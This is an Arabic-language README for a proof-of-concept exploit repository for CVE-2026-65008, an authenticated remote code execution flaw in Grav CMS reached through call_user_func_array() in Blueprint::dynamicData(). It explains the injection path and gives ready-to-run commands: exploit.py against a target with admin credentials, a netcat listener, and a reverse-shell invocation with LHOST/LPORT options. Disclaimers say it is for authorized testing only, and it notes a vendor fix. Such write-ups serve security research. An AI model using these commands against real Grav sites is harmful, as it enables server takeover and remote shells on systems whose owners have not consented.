
CVE-2026-65008
إثبات المفهوم لثغرة CVE-2026-65008: تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Grav CMS عبر استدعاء غير مقيد للدالة call_user_func_array() في Blueprint::dynamicData().
يمكن لمستخدم يمتلك صلاحية admin.pages (أو api.pages.write) زرع بيانات frontmatter خبيثة لنموذج. تُنفَّذ الحمولة (payload) بعد ذلك بصلاحيات مستخدم خادم الويب عند قيام أي زائر (بما في ذلك غير المصادَق عليه) بتحميل الصفحة.
للاستخدام في الاختبارات المصرَّح بها فقط. استخدمها حصريًا على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.
| الدور | |
|---|---|
| مُبلِّغو الثغرة | YuvalMil, MatiHub25, LeonKaya |
| نشرة البائع الأمنية | GHSA-fj2p-qj2f-74v5 |
| هذا المستودع | إثبات مفهوم مخبري مستقل / أتمتة |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
تمرّر Blueprint::dynamicData() استدعاءً قابلًا للتنفيذ Class::method يتحكم فيه المهاجم مع وسائطه إلى دالة PHP call_user_func_array() دون قائمة مسموحات (allowlist). وبدمجها مع Grav\Common\Utils::arrayFilterRecursive كوسيط تنفيذ (trampoline)، تصل الثغرة إلى system() / passthru / إلخ.
تم إصلاحها في Grav 2.0.7+.
9.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsالتثبيت:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
شغّل المستمع أولاً:
nc -lvnp 4444
ثم:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (استخراج login-nonce)admin_nonce من لوحة تحكم المسؤولdata-opts@: الخبيثةwww-dataهذا المشروع مخصص للبحث الأمني التعليمي والمصرَّح به فقط. المؤلف غير مسؤول عن أي إساءة استخدام. احصل دائمًا على إذن كتابي قبل اختبار أنظمة الطرف الثالث. تم الإفصاح عن الثغرة الأصلية عبر نشرة البائع الأمنية؛ يعرض هذا المستودع إعادة الإنتاج المخبرية فقط.
للاستخدام البحثي. دون أي ضمان.
| الخيار | الوصف |
|---|
-u, --url | رابط الهدف الأساسي (مطلوب) |
-U, --username | مستخدم المسؤول / تحرير الصفحات (الافتراضي: admin) |
-P, --password | كلمة المرور (مطلوبة) |
-c, --command | الأمر المراد تنفيذه (الافتراضي: id) |
--lhost | LHOST للصدفة العكسية |
--lport | LPORT للصدفة العكسية (الافتراضي: 4444) |
--folder | اسم مجلد الصفحة (الافتراضي: rcepoc) |
--no-verify | تعطيل التحقق من TLS |